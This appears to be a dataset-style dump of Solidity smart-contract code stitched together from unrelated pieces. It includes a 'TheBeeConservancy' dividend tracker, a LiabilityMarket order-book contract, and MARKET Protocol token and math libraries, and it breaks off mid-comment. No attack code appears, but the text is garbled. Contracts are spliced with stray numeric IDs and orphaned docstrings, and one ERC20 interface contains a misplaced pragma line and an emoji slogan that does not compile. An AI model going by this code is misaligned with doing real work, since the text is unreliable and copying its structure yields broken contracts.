uint256) public lastClaimTimes; uint256 public claimWait; uint256 public immutable minimumTokenBalanceForDividends; event ExcludeFromDividends(address indexed account); event ClaimWaitUpdated(uint256 indexed newValue, uint256 indexed oldValue); event Claim(address indexed account, uint256 amount, bool indexed automatic); constructor() public DividendPayingToken("TheBeeConservancy_Dividen_Tracker", "TheBeeConservancy_Dividend_Tracker") { claimWait = 3600; minimumTokenBalanceForDividends = 200000 * (10**18); //must hold 200000+ tokens } function _transfer(address, address, uint256) internal override { require(false, "TheBeeConservancy_Dividend_Tracker: No transfers allowed"); } function withdrawDividend() public override { require(false, "TheBeeConservancy_Dividend_Tracker: withdrawDividend disabled. Use the 'claim' function on the main TheBeeConservancy contract."); } function excludeFromDividends(address account) external onlyOwner { require(!excludedFromDividends[account]); excludedFromDividends[account] = true; _setBalance(account, 0); tokenHoldersMap.remove(account); emit ExcludeFromDividends(account); } function updateClaimWait(uint256 newClaimWait) external onlyOwner { require(newClaimWait >= 3600 && newClaimWait <= 86400, "TheBeeConservancy_Dividend_Tracker: claimWait must be updated to between 1 and 24 hours"); require(newClaimWait != claimWait, "TheBeeConservancy_Dividend_Tracker: Cannot update claimWait to same value"); emit ClaimWaitUpdated(newClaimWait, claimWait); claimWait = newClaimWait; } function getLastProcessedIndex() external view returns(uint256) { return lastProcessedIndex; } function getNumberOfTokenHolders() external view returns(uint256) { return tokenHoldersMap.keys.length; } function getAccount(address _account) public view returns ( address account, int256 index, int256 iterationsUntilProcessed, uint256 withdrawableDividends, uint256 totalDividends, uint256 lastClaimTime, uint256 nextClaimTime, uint256 secondsUntilAutoClaimAvailable) { account = _account; index = tokenHoldersMap.getIndexOfKey(account); iterationsUntilProcessed = -1; if(index >= 0) { if(uint256(index) > lastProcessedIndex) { iterationsUntilProcessed = index.sub(int256(lastProcessedIndex)); } else { uint256 processesUntilEndOfArray = tokenHoldersMap.keys.length > lastProcessedIndex ? tokenHoldersMap.keys.length.sub(lastProcessedIndex) : 0; iterationsUntilProcessed = index.add(int256(processesUntilEndOfArray)); } } withdrawableDividends = withdrawableDividendOf(account); totalDividends = accumulativeDividendOf(account); lastClaimTime = lastClaimTimes[account]; nextClaimTime = lastClaimTime > 0 ? lastClaimTime.add(claimWait) : 0; secondsUntilAutoClaimAvailable = nextClaimTime > block.timestamp ? nextClaimTime.sub(block.timestamp) : 0; } function getAccountAtIndex(uint256 index) public view returns ( address, int256, int256, uint256, uint256, uint256, uint256, uint256) { if(index >= tokenHoldersMap.size()) { return (0x0000000000000000000000000000000000000000, -1, -1, 0, 0, 0, 0, 0); } address account = tokenHoldersMap.getKeyAtIndex(index); return getAccount(account); } function canAutoClaim(uint256 lastClaimTime) private view returns (bool) { if(lastClaimTime > block.timestamp) { return false; } return block.timestamp.sub(lastClaimTime) >= claimWait; } function setBalance(address payable account, uint256 newBalance) external onlyOwner { if(excludedFromDividends[account]) { return; } if(newBalance >= minimumTokenBalanceForDividends) { _setBalance(account, newBalance); tokenHoldersMap.set(account, newBalance); } else { _setBalance(account, 0); tokenHoldersMap.remove(account); } processAccount(account, true); } function process(uint256 gas) public returns (uint256, uint256, uint256) { uint256 numberOfTokenHolders = tokenHoldersMap.keys.length; if(numberOfTokenHolders == 0) { return (0, 0, lastProcessedIndex); } uint256 _lastProcessedIndex = lastProcessedIndex; uint256 gasUsed = 0; uint256 gasLeft = gasleft(); uint256 iterations = 0; uint256 claims = 0; while(gasUsed < gas && iterations < numberOfTokenHolders) { _lastProcessedIndex++; if(_lastProcessedIndex >= tokenHoldersMap.keys.length) { _lastProcessedIndex = 0; } address account = tokenHoldersMap.keys[_lastProcessedIndex]; if(canAutoClaim(lastClaimTimes[account])) { if(processAccount(payable(account), true)) { claims++; } } iterations++; uint256 newGasLeft = gasleft(); if(gasLeft > newGasLeft) { gasUsed = gasUsed.add(gasLeft.sub(newGasLeft)); } gasLeft = newGasLeft; } lastProcessedIndex = _lastProcessedIndex; return (iterations, claims, lastProcessedIndex); } function processAccount(address payable account, bool automatic) public onlyOwner returns (bool) { uint256 amount = _withdrawDividendOfUser(account); if(amount > 0) { lastClaimTimes[account] = block.timestamp; emit Claim(account, amount, automatic); return true; } return false; } }
Interface of the ERC20 standard as defined in the EIP./
interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); pragma solidity ^0.6.2; πŸ’ SAVE THE BEES! πŸ’ }
10,381,458
pragma solidity ^0.4.18; //import 'dao/Liability.sol'; import 'common/Object.sol'; import 'token/ERC20.sol'; import './MarketHeap.sol'; library CreatorLiability { function create(address, address, address, uint256) public returns (Liability); } /** * @title Liability marketplace */ contract LiabilityMarket is Object, MarketHeap { // Market name string public name; // Token ERC20 constant token = ERC20(0); /** * @dev Market constructor * @param _name Market name */ function LiabilityMarket(string _name) public { name = _name; // Put empty oreder with zero index orders[orders.length++].closed = true; } struct Order { address[] beneficiary; address[] promisee; address promisor; bool closed; } Order[] orders; /** * @dev Get order by index * @param _i Order index * @return Order fields */ function getOrder(uint256 _i) public view returns (address[], address[], address, bool) { var o = orders[_i]; return (o.beneficiary, o.promisee, o.promisor, o.closed); } /** * @dev Get account order ids */ mapping(address => uint[]) public ordersOf; event OpenAskOrder(uint256 indexed order); event OpenBidOrder(uint256 indexed order); event CloseAskOrder(uint256 indexed order); event CloseBidOrder(uint256 indexed order); event AskOrderCandidates(uint256 indexed order, address indexed beneficiary, address indexed promisee); event NewLiability(address indexed liability); /** * @dev Make a limit order to sell liability * @param _beneficiary Liability beneficiary * @param _promisee Liability promisee * @param _price Liability price * @notice Sender is promisee of liability */ function limitSell(address _beneficiary, address _promisee, uint256 _price) public { var id = orders.length++; // Store price priceOf[id] = _price; // Append bid putBid(id); // Store template orders[id].beneficiary.push(_beneficiary); orders[id].promisee.push(_promisee); ordersOf[msg.sender].push(id); OpenBidOrder(id); } /** * @dev Make a limit order to buy liability * @param _price Liability price * @notice Sender is promisor of liability */ function limitBuy(uint256 _price) public { var id = orders.length++; // Store price priceOf[id] = _price; // Append ask putAsk(id); // Store template orders[id].promisor = msg.sender; // Lock tokens require (token.transferFrom(msg.sender, this, _price)); ordersOf[msg.sender].push(id); OpenAskOrder(id); } /** * @dev Sell liability * @param _id Order index * @param _beneficiary Benificiary candidate * @param _promisee Promisee candidate */ function sellAt(uint256 _id, address _beneficiary, address _promisee) public { var order = orders[_id]; if (_id >= orders.length || order.closed) revert(); order.beneficiary.push(_beneficiary); order.promisee.push(_promisee); AskOrderCandidates(_id, _beneficiary, _promisee); } /** * @dev Confirm liability sell * @param _id Order index * @param _candidates Confirmed candidates */ function sellConfirm(uint256 _id, uint256 _candidates) public { var o = orders[_id]; if (_id >= orders.length || o.closed) revert(); getAsk(orderAskOf[_id]); require (o.promisor == msg.sender); require (o.beneficiary[_candidates] != 0); require (runLiability(o.beneficiary[_candidates], o.promisee[_candidates], o.promisor, priceOf[_id])); o.closed = true; CloseAskOrder(_id); } /** * @dev Buy liability * @param _id Order index */ function buyAt(uint256 _id) public { var o = orders[_id]; if (_id >= orders.length || o.closed) revert(); getBid(orderBidOf[_id]); o.promisor = msg.sender; require (token.transferFrom(msg.sender, this, priceOf[_id])); require (runLiability(o.beneficiary[0], o.promisee[0], o.promisor, priceOf[_id])); o.closed = true; CloseBidOrder(_id); } function runLiability( address _beneficiary, address _promisee, address _promisor, uint256 _price ) internal returns (bool) { var l = CreatorLiability.create(_promisor, _promisee, token, _price); l.setOwner(_beneficiary); require (token.transfer(l, _price)); require (l.call.value(l.gasbase() * tx.gasprice)()); NewLiability(l); return true; } function () public payable {} }
Get order by index _i Order index return Order fields/
function getOrder(uint256 _i) public view returns (address[], address[], address, bool) { var o = orders[_i]; return (o.beneficiary, o.promisee, o.promisor, o.closed); } event OpenAskOrder(uint256 indexed order); event OpenBidOrder(uint256 indexed order); event CloseAskOrder(uint256 indexed order); event CloseBidOrder(uint256 indexed order); event AskOrderCandidates(uint256 indexed order, address indexed beneficiary, address indexed promisee); event NewLiability(address indexed liability);
887,343
pragma solidity ^0.5.2; /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } /** * @title ERC20 interface * @dev see https://eips.ethereum.org/EIPS/eip-20 */ interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library StringLib { /// @notice converts bytes32 into a string. /// @param bytesToConvert bytes32 array to convert function bytes32ToString(bytes32 bytesToConvert) internal pure returns (string memory) { bytes memory bytesArray = new bytes(32); for (uint256 i; i < 32; i++) { bytesArray[i] = bytesToConvert[i]; } return string(bytesArray); } }/* Copyright 2017-2019 Phillip A. Elsasser Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ /// @title Math function library with overflow protection inspired by Open Zeppelin library MathLib { int256 constant INT256_MIN = int256((uint256(1) << 255)); int256 constant INT256_MAX = int256(~((uint256(1) << 255))); function multiply(uint256 a, uint256 b) pure internal returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "MathLib: multiplication overflow"); return c; } function divideFractional( uint256 a, uint256 numerator, uint256 denominator ) pure internal returns (uint256) { return multiply(a, numerator) / denominator; } function subtract(uint256 a, uint256 b) pure internal returns (uint256) { require(b <= a, "MathLib: subtraction overflow"); return a - b; } function add(uint256 a, uint256 b) pure internal returns (uint256) { uint256 c = a + b; require(c >= a, "MathLib: addition overflow"); return c; } /// @notice determines the amount of needed collateral for a given position (qty and price) /// @param priceFloor lowest price the contract is allowed to trade before expiration /// @param priceCap highest price the contract is allowed to trade before expiration /// @param qtyMultiplier multiplier for qty from base units /// @param longQty qty to redeem /// @param shortQty qty to redeem /// @param price of the trade function calculateCollateralToReturn( uint priceFloor, uint priceCap, uint qtyMultiplier, uint longQty, uint shortQty, uint price ) pure internal returns (uint) { uint neededCollateral = 0; uint maxLoss; if (longQty > 0) { // calculate max loss from entry price to floor if (price <= priceFloor) { maxLoss = 0; } else { maxLoss = subtract(price, priceFloor); } neededCollateral = multiply(multiply(maxLoss, longQty), qtyMultiplier); } if (shortQty > 0) { // calculate max loss from entry price to ceiling; if (price >= priceCap) { maxLoss = 0; } else { maxLoss = subtract(priceCap, price); } neededCollateral = add(neededCollateral, multiply(multiply(maxLoss, shortQty), qtyMultiplier)); } return neededCollateral; } /// @notice determines the amount of needed collateral for minting a long and short position token function calculateTotalCollateral( uint priceFloor, uint priceCap, uint qtyMultiplier ) pure internal returns (uint) { return multiply(subtract(priceCap, priceFloor), qtyMultiplier); } /// @notice calculates the fee in terms of base units of the collateral token per unit pair minted. function calculateFeePerUnit( uint priceFloor, uint priceCap, uint qtyMultiplier, uint feeInBasisPoints ) pure internal returns (uint) { uint midPrice = add(priceCap, priceFloor) / 2; return multiply(multiply(midPrice, qtyMultiplier), feeInBasisPoints) / 10000; } } /* Copyright 2017-2019 Phillip A. Elsasser Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ /* Copyright 2017-2019 Phillip A. Elsasser Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @return the address of the owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner()); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Allows the current owner to relinquish control of the contract. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. * @notice Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /// @title MarketContract base contract implement all needed functionality for trading. /// @notice this is the abstract base contract that all contracts should inherit from to /// implement different oracle solutions. /// @author Phil Elsasser <[email protected]> contract MarketContract is Ownable { using StringLib for *; string public CONTRACT_NAME; address public COLLATERAL_TOKEN_ADDRESS; address public COLLATERAL_POOL_ADDRESS; uint public PRICE_CAP; uint public PRICE_FLOOR; uint public PRICE_DECIMAL_PLACES; // how to convert the pricing from decimal format (if valid) to integer uint public QTY_MULTIPLIER; // multiplier corresponding to the value of 1 increment in price to token base units uint public COLLATERAL_PER_UNIT; // required collateral amount for the full range of outcome tokens uint public COLLATERAL_TOKEN_FEE_PER_UNIT; uint public MKT_TOKEN_FEE_PER_UNIT; uint public EXPIRATION; uint public SETTLEMENT_DELAY = 1 days; address public LONG_POSITION_TOKEN; address public SHORT_POSITION_TOKEN; // state variables uint public lastPrice; uint public settlementPrice; uint public settlementTimeStamp; bool public isSettled = false; // events event UpdatedLastPrice(uint256 price); event ContractSettled(uint settlePrice); /// @param contractNames bytes32 array of names /// contractName name of the market contract /// longTokenSymbol symbol for the long token /// shortTokenSymbol symbol for the short token /// @param baseAddresses array of 2 addresses needed for our contract including: /// ownerAddress address of the owner of these contracts. /// collateralTokenAddress address of the ERC20 token that will be used for collateral and pricing /// collateralPoolAddress address of our collateral pool contract /// @param contractSpecs array of unsigned integers including: /// floorPrice minimum tradeable price of this contract, contract enters settlement if breached /// capPrice maximum tradeable price of this contract, contract enters settlement if breached /// priceDecimalPlaces number of decimal places to convert our queried price from a floating point to /// an integer /// qtyMultiplier multiply traded qty by this value from base units of collateral token. /// feeInBasisPoints fee amount in basis points (Collateral token denominated) for minting. /// mktFeeInBasisPoints fee amount in basis points (MKT denominated) for minting. /// expirationTimeStamp seconds from epoch that this contract expires and enters settlement constructor( bytes32[3] memory contractNames, address[3] memory baseAddresses, uint[7] memory contractSpecs ) public { PRICE_FLOOR = contractSpecs[0]; PRICE_CAP = contractSpecs[1]; require(PRICE_CAP > PRICE_FLOOR, "PRICE_CAP must be greater than PRICE_FLOOR"); PRICE_DECIMAL_PLACES = contractSpecs[2]; QTY_MULTIPLIER = contractSpecs[3]; EXPIRATION = contractSpecs[6]; require(EXPIRATION > now, "EXPIRATION must be in the future"); require(QTY_MULTIPLIER != 0,"QTY_MULTIPLIER cannot be 0"); COLLATERAL_TOKEN_ADDRESS = baseAddresses[1]; COLLATERAL_POOL_ADDRESS = baseAddresses[2]; COLLATERAL_PER_UNIT = MathLib.calculateTotalCollateral(PRICE_FLOOR, PRICE_CAP, QTY_MULTIPLIER); COLLATERAL_TOKEN_FEE_PER_UNIT = MathLib.calculateFeePerUnit( PRICE_FLOOR, PRICE_CAP, QTY_MULTIPLIER, contractSpecs[4] ); MKT_TOKEN_FEE_PER_UNIT = MathLib.calculateFeePerUnit( PRICE_FLOOR, PRICE_CAP, QTY_MULTIPLIER, contractSpecs[5] ); // create long and short tokens CONTRACT_NAME = contractNames[0].bytes32ToString(); PositionToken longPosToken = new PositionToken( "MARKET Protocol Long Position Token", contractNames[1].bytes32ToString(), uint8(PositionToken.MarketSide.Long) ); PositionToken shortPosToken = new PositionToken( "MARKET Protocol Short Position Token", contractNames[2].bytes32ToString(), uint8(PositionToken.MarketSide.Short) ); LONG_POSITION_TOKEN = address(longPosToken); SHORT_POSITION_TOKEN = address(shortPosToken); transferOwnership(baseAddresses[0]); } /* // EXTERNAL - onlyCollateralPool METHODS */ /// @notice called only by our collateral pool to create long and short position tokens /// @param qtyToMint qty in base units of how many short and long tokens to mint /// @param minter address of minter to receive tokens function mintPositionTokens( uint256 qtyToMint, address minter ) external onlyCollateralPool { // mint and distribute short and long position tokens to our caller PositionToken(LONG_POSITION_TOKEN).mintAndSendToken(qtyToMint, minter); PositionToken(SHORT_POSITION_TOKEN).mintAndSendToken(qtyToMint, minter); } /// @notice called only by our collateral pool to redeem long position tokens /// @param qtyToRedeem qty in base units of how many tokens to redeem /// @param redeemer address of person redeeming tokens function redeemLongToken( uint256 qtyToRedeem, address redeemer ) external onlyCollateralPool { // mint and distribute short and long position tokens to our caller PositionToken(LONG_POSITION_TOKEN).redeemToken(qtyToRedeem, redeemer); } /// @notice called only by our collateral pool to redeem short position tokens /// @param qtyToRedeem qty in base units of how many tokens to redeem /// @param redeemer address of person redeeming tokens function redeemShortToken( uint256 qtyToRedeem, address redeemer ) external onlyCollateralPool { // mint and distribute short and long position tokens to our caller PositionToken(SHORT_POSITION_TOKEN).redeemToken(qtyToRedeem, redeemer); } /* // Public METHODS */ /// @notice checks to see if a contract is settled, and that the settlement delay has passed function isPostSettlementDelay() public view returns (bool) { return isSettled && (now >= (settlementTimeStamp + SETTLEMENT_DELAY)); } /* // PRIVATE METHODS */ /// @dev checks our last query price to see if our contract should enter settlement due to it being past our // expiration date or outside of our tradeable ranges. function checkSettlement() internal { require(!isSettled, "Contract is already settled"); // already settled. uint newSettlementPrice; if (now > EXPIRATION) { // note: miners can cheat this by small increments of time (minutes, not hours) isSettled = true; // time based expiration has occurred. newSettlementPrice = lastPrice; } else if (lastPrice >= PRICE_CAP) { // price is greater or equal to our cap, settle to CAP price isSettled = true; newSettlementPrice = PRICE_CAP; } else if (lastPrice <= PRICE_FLOOR) { // price is lesser or equal to our floor, settle to FLOOR price isSettled = true; newSettlementPrice = PRICE_FLOOR; } if (isSettled) { settleContract(newSettlementPrice); } } /// @dev records our final settlement price and fires needed events. /// @param finalSettlementPrice final query price at time of settlement function settleContract(uint finalSettlementPrice) internal { settlementTimeStamp = now; settlementPrice = finalSettlementPrice; emit ContractSettled(finalSettlementPrice); } /// @notice only able to be called directly by our collateral pool which controls the position tokens /// for this contract! modifier onlyCollateralPool { require(msg.sender == COLLATERAL_POOL_ADDRESS, "Only callable from the collateral pool"); _; } } /* Copyright 2017-2019 Phillip A. Elsasser Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://eips.ethereum.org/EIPS/eip-20 * Originally based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for * all accounts just by listening to said events. Note that this isn't required by the specification, and other * compliant implementations may not do it. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return A uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token to a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { _transfer(from, to, value); _approve(from, msg.sender, _allowed[from][msg.sender].sub(value)); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when _allowed[msg.sender][spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue)); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when _allowed[msg.sender][spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Approve an address to spend another addresses' tokens. * @param owner The address that owns the tokens. * @param spender The address that will spend the tokens. * @param value The number of tokens that can be spent. */ function _approve(address owner, address spender, uint256 value) internal { require(spender != address(0)); require(owner != address(0)); _allowed[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _burn(account, value); _approve(account, msg.sender, _allowed[account][msg.sender].sub(value)); } } /// @title Position Token /// @notice A token that represents a claim to a collateral pool and a short or long position. /// The collateral pool acts as the owner of this contract and controls minting and redemption of these /// tokens based on locked collateral in the pool. /// NOTE: We eventually can move all of this logic into a library to avoid deploying all of the logic /// every time a new market contract is deployed. /// @author Phil Elsasser <[email protected]> contract PositionToken is ERC20, Ownable { string public name; string public symbol; uint8 public decimals; MarketSide public MARKET_SIDE; // 0 = Long, 1 = Short enum MarketSide { Long, Short} constructor( string memory tokenName, string memory tokenSymbol, uint8 marketSide ) public { name = tokenName; symbol = tokenSymbol; decimals = 5; MARKET_SIDE = MarketSide(marketSide); } /// @dev Called by our MarketContract (owner) to create a long or short position token. These tokens are minted, /// and then transferred to our recipient who is the party who is minting these tokens. The collateral pool /// is the only caller (acts as the owner) because collateral must be deposited / locked prior to minting of new /// position tokens /// @param qtyToMint quantity of position tokens to mint (in base units) /// @param recipient the person minting and receiving these position tokens. function mintAndSendToken( uint256 qtyToMint, address recipient ) external onlyOwner { _mint(recipient, qtyToMint); } /// @dev Called by our MarketContract (owner) when redemption occurs. This means that either a single user is redeeming /// both short and long tokens in order to claim their collateral, or the contract has settled, and only a single /// side of the tokens are needed to redeem (handled by the collateral pool) /// @param qtyToRedeem quantity of tokens to burn (remove from supply / circulation) /// @param redeemer the person redeeming these tokens (who are we taking the balance from) function redeemToken( uint256 qtyToRedeem, address redeemer ) external onlyOwner { _burn(redeemer, qtyToRedeem); } } /* Copyright 2017-2019 Phillip A. Elsasser Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract MarketContractRegistryInterface { function addAddressToWhiteList(address contractAddress) external; function isAddressWhiteListed(address contractAddress) external view returns (bool); } /** * Utility library of inline functions on addresses */ library Address { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param account address of the account to check * @return whether the target address is a contract */ function isContract(address account) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require((value == 0) || (token.allowance(address(this), spender) == 0)); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must equal true). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the 